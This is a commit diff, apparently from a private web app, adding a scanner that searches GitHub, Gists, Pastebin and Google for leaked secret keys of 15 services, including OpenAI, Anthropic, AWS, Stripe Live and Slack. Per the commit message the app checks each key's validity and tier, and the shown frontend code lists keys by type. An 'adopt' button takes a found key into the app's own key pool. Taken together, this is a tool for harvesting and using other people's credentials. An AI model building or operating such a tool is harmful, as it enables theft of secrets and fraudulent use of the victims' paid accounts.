Multi-Provider Key Scanner + Checker (OpenAI, Google, 15 Key-Typen)
- KeyPatterns.cs: Zentrale Pattern-Klasse für 15 Key-Typen (Anthropic, OpenAI, Google, AWS, GitHub, GitLab, HuggingFace, Stripe, SendGrid, Slack) - OpenAiKeyChecker.cs: Prüft sk-proj/sk-svcacct/sk- Keys via /v1/models (Org, Modelle, RPM/TPM, Tier-Erkennung Free bis 5+) - GoogleKeyChecker.cs: Prüft AIza-Keys via Gemini /v1/models (Gemini-Modelle, Maps-Key-Erkennung) - KeyScannerService + GitHubEventScannerService: Dispatch nach Key-Typ - ApiKeysEndpoint: GET /scanned/summary + ?type= Filter - Frontend: 2-stufige UI (Typ-Übersicht → Keys pro Typ)
This commit is contained in:
1 parent
eb8844a4f1
commit
c8859a89d0
9 files changed
+536
-52
No files matched your search
+2
-1
@@ -234,7 +234,8 @@ function apiCheckAllApiKeys() { return _post('/api/admin/api-keys/check-all', un
|
||||
|
||||
function apiTriggerScan(mode) { return _post('/api/admin/api-keys/scan?mode=' + (mode || 'full'), undefined, 'Fehler beim Starten des Scans'); }
|
||||
function apiScanStatus() { return _get('/api/admin/api-keys/scan/status', {}); }
|
||||
function apiGetScannedKeys() { return _get('/api/admin/api-keys/scanned', []); }
|
||||
function apiGetScannedKeys(type) { return _get('/api/admin/api-keys/scanned' + (type ? '?type=' + encodeURIComponent(type) : ''), []); }
|
||||
function apiGetScannedKeysSummary() { return _get('/api/admin/api-keys/scanned/summary', []); }
|
||||
function apiRecheckAllScannedKeys() { return _post('/api/admin/api-keys/scanned/recheck-all', undefined, 'Fehler beim Prüfen'); }
|
||||
function apiRecheckScannedKey(id) { return _post('/api/admin/api-keys/scanned/' + id + '/recheck', undefined, 'Fehler beim Prüfen'); }
|
||||
function apiAdoptScannedKey(id) { return _post('/api/admin/api-keys/scanned/' + id + '/adopt', undefined, 'Fehler beim Übernehmen'); }
|
||||
|
||||
@@ -323,16 +323,97 @@ registerPage('api-keys', {
|
||||
var scanStatusEl = document.getElementById('scanStatus');
|
||||
var scannedList = document.getElementById('scannedKeysList');
|
||||
var scannedKeys = [];
|
||||
var selectedType = null;
|
||||
var pollTimer = null;
|
||||
|
||||
var typeNames = {
|
||||
anthropic_oauth: 'Anthropic OAuth', anthropic_api: 'Anthropic API', anthropic_unknown: 'Anthropic',
|
||||
openai_project: 'OpenAI Project', openai_service: 'OpenAI Service', openai_legacy: 'OpenAI Legacy',
|
||||
google_api: 'Google / Gemini', aws_access_key: 'AWS Access Key',
|
||||
github_pat: 'GitHub PAT', github_oauth: 'GitHub OAuth', gitlab_pat: 'GitLab PAT',
|
||||
huggingface: 'HuggingFace', stripe_live: 'Stripe Live', stripe_test: 'Stripe Test',
|
||||
sendgrid: 'SendGrid', slack: 'Slack'
|
||||
};
|
||||
|
||||
var typeIcons = {
|
||||
anthropic_oauth: '🟠', anthropic_api: '🟠', anthropic_unknown: '🟠',
|
||||
openai_project: '🟢', openai_service: '🟢', openai_legacy: '🟢',
|
||||
google_api: '🔵', aws_access_key: '🟡',
|
||||
github_pat: '⚫', github_oauth: '⚫', gitlab_pat: '🟤',
|
||||
huggingface: '🤗', stripe_live: '💳', stripe_test: '💳',
|
||||
sendgrid: '📧', slack: '💬'
|
||||
};
|
||||
|
||||
function renderSummary(summary) {
|
||||
scannedList.innerHTML = '';
|
||||
if (!summary || summary.length === 0) {
|
||||
var empty = document.createElement('div');
|
||||
empty.className = 'admin-user-meta';
|
||||
empty.style.padding = '1rem 0';
|
||||
empty.textContent = 'Keine gescannten Keys vorhanden.';
|
||||
scannedList.appendChild(empty);
|
||||
return;
|
||||
}
|
||||
|
||||
summary.forEach(function(s) {
|
||||
var row = document.createElement('div');
|
||||
row.className = 'admin-user-row';
|
||||
row.style.cursor = 'pointer';
|
||||
|
||||
var info = document.createElement('div');
|
||||
info.className = 'admin-user-info';
|
||||
|
||||
var nameSpan = document.createElement('span');
|
||||
nameSpan.className = 'admin-user-name';
|
||||
var icon = typeIcons[s.type] || '🔑';
|
||||
nameSpan.textContent = icon + ' ' + (typeNames[s.type] || s.type);
|
||||
info.appendChild(nameSpan);
|
||||
|
||||
var metaSpan = document.createElement('span');
|
||||
metaSpan.className = 'admin-user-meta';
|
||||
var parts = [s.total + ' Keys'];
|
||||
if (s.valid > 0) parts.push('✅ ' + s.valid + ' gültig');
|
||||
if (s.invalid > 0) parts.push('❌ ' + s.invalid + ' ungültig');
|
||||
if (s.unchecked > 0) parts.push('⏳ ' + s.unchecked + ' ungeprüft');
|
||||
if (s.adopted > 0) parts.push('📌 ' + s.adopted + ' übernommen');
|
||||
metaSpan.textContent = parts.join(' · ');
|
||||
info.appendChild(metaSpan);
|
||||
|
||||
var badge = document.createElement('div');
|
||||
badge.className = 'admin-user-actions';
|
||||
badge.innerHTML = '<i class="fa fa-chevron-right" style="opacity:.5"></i>';
|
||||
|
||||
row.appendChild(info);
|
||||
row.appendChild(badge);
|
||||
row.addEventListener('click', function() { loadScannedKeysByType(s.type); });
|
||||
scannedList.appendChild(row);
|
||||
});
|
||||
}
|
||||
|
||||
function renderScannedKeys() {
|
||||
scannedList.innerHTML = '';
|
||||
|
||||
// Zurück-Button
|
||||
var backRow = document.createElement('div');
|
||||
backRow.className = 'admin-user-row';
|
||||
backRow.style.cursor = 'pointer';
|
||||
backRow.style.opacity = '.7';
|
||||
var backInfo = document.createElement('div');
|
||||
backInfo.className = 'admin-user-info';
|
||||
var backName = document.createElement('span');
|
||||
backName.className = 'admin-user-name';
|
||||
backName.innerHTML = '<i class="fa fa-arrow-left"></i> Zurück zur Übersicht';
|
||||
backInfo.appendChild(backName);
|
||||
backRow.appendChild(backInfo);
|
||||
backRow.addEventListener('click', function() { selectedType = null; loadSummary(); });
|
||||
scannedList.appendChild(backRow);
|
||||
|
||||
var visibleKeys = scannedKeys.filter(function(sk) { return sk.adoptedApiKeyId == null; });
|
||||
if (visibleKeys.length === 0) {
|
||||
var empty = document.createElement('div');
|
||||
empty.className = 'admin-user-meta';
|
||||
empty.style.padding = '1rem 0';
|
||||
empty.textContent = 'Keine gescannten Keys vorhanden.';
|
||||
empty.textContent = 'Keine nicht-übernommenen Keys in dieser Kategorie.';
|
||||
scannedList.appendChild(empty);
|
||||
return;
|
||||
}
|
||||
@@ -361,10 +442,8 @@ registerPage('api-keys', {
|
||||
var metaSpan = document.createElement('span');
|
||||
metaSpan.className = 'admin-user-meta';
|
||||
var metaParts = [];
|
||||
var sourceIcons = { github: '🐙 GitHub', serper: '🔍 Google', gist: '📋 Gist', pastebin: '📄 Pastebin' };
|
||||
var sourceIcons = { github: '🐙 GitHub', serper: '🔍 Google', gist: '📋 Gist', pastebin: '📄 Pastebin', github_events: '📡 Events' };
|
||||
metaParts.push(sourceIcons[sk.source] || sk.source || 'github');
|
||||
var typeLabels = { anthropic_oauth: 'OAuth', anthropic_api: 'API', anthropic_unknown: 'Anthropic', unknown: '?' };
|
||||
metaParts.push(typeLabels[sk.type] || sk.type || '?');
|
||||
metaParts.push(formatKeyStatus(sk.status));
|
||||
if (sk.plan && sk.plan !== 'Unknown') metaParts.push(sk.plan);
|
||||
if (sk.checkedAt) metaParts.push(new Date(sk.checkedAt).toLocaleString());
|
||||
@@ -382,12 +461,13 @@ registerPage('api-keys', {
|
||||
recheckBtn.className = 'icon-btn';
|
||||
recheckBtn.title = 'Erneut prüfen';
|
||||
recheckBtn.innerHTML = '<i class="fa fa-refresh"></i>';
|
||||
recheckBtn.addEventListener('click', async function() {
|
||||
recheckBtn.addEventListener('click', async function(e) {
|
||||
e.stopPropagation();
|
||||
recheckBtn.innerHTML = '<i class="fa fa-spinner fa-spin"></i>';
|
||||
recheckBtn.disabled = true;
|
||||
try {
|
||||
await apiRecheckScannedKey(sk.scannedKeyId);
|
||||
await loadScannedKeys();
|
||||
await loadScannedKeysByType(selectedType);
|
||||
} catch (err) { showToast(err.message, 'error'); }
|
||||
finally { recheckBtn.innerHTML = '<i class="fa fa-refresh"></i>'; recheckBtn.disabled = false; }
|
||||
});
|
||||
@@ -399,11 +479,12 @@ registerPage('api-keys', {
|
||||
adoptBtn.className = 'icon-btn';
|
||||
adoptBtn.title = 'Als API-Key übernehmen';
|
||||
adoptBtn.innerHTML = '<i class="fa fa-plus-circle" style="color:var(--accent)"></i>';
|
||||
adoptBtn.addEventListener('click', async function() {
|
||||
adoptBtn.addEventListener('click', async function(e) {
|
||||
e.stopPropagation();
|
||||
try {
|
||||
await apiAdoptScannedKey(sk.scannedKeyId);
|
||||
showToast('Key übernommen');
|
||||
await loadScannedKeys();
|
||||
await loadScannedKeysByType(selectedType);
|
||||
await loadKeys();
|
||||
} catch (err) { showToast(err.message, 'error'); }
|
||||
});
|
||||
@@ -415,10 +496,11 @@ registerPage('api-keys', {
|
||||
delBtn.className = 'icon-btn';
|
||||
delBtn.title = 'Ignorieren';
|
||||
delBtn.innerHTML = '<i class="fa fa-trash"></i>';
|
||||
delBtn.addEventListener('click', async function() {
|
||||
delBtn.addEventListener('click', async function(e) {
|
||||
e.stopPropagation();
|
||||
try {
|
||||
await apiDeleteScannedKey(sk.scannedKeyId);
|
||||
await loadScannedKeys();
|
||||
await loadScannedKeysByType(selectedType);
|
||||
} catch (err) { showToast(err.message, 'error'); }
|
||||
});
|
||||
actions.appendChild(delBtn);
|
||||
@@ -429,13 +511,30 @@ registerPage('api-keys', {
|
||||
});
|
||||
}
|
||||
|
||||
async function loadScannedKeys() {
|
||||
async function loadSummary() {
|
||||
try {
|
||||
scannedKeys = await apiGetScannedKeys();
|
||||
var summary = await apiGetScannedKeysSummary();
|
||||
renderSummary(summary);
|
||||
} catch (err) { showToast(err.message, 'error'); }
|
||||
}
|
||||
|
||||
async function loadScannedKeysByType(type) {
|
||||
selectedType = type;
|
||||
scannedList.innerHTML = '<div class="admin-user-meta" style="padding:1rem 0"><i class="fa fa-spinner fa-spin"></i> Lade Keys…</div>';
|
||||
try {
|
||||
scannedKeys = await apiGetScannedKeys(type);
|
||||
renderScannedKeys();
|
||||
} catch (err) { showToast(err.message, 'error'); }
|
||||
}
|
||||
|
||||
async function loadScannedKeys() {
|
||||
if (selectedType) {
|
||||
await loadScannedKeysByType(selectedType);
|
||||
} else {
|
||||
await loadSummary();
|
||||
}
|
||||
}
|
||||
|
||||
var scanBtnDefaults = [
|
||||
{ btn: scanQuickBtn, icon: 'fa-bolt', label: 'Quick' },
|
||||
{ btn: scanWebBtn, icon: 'fa-globe', label: 'Web' },
|
||||
|
||||
Reference in new issue
Block a user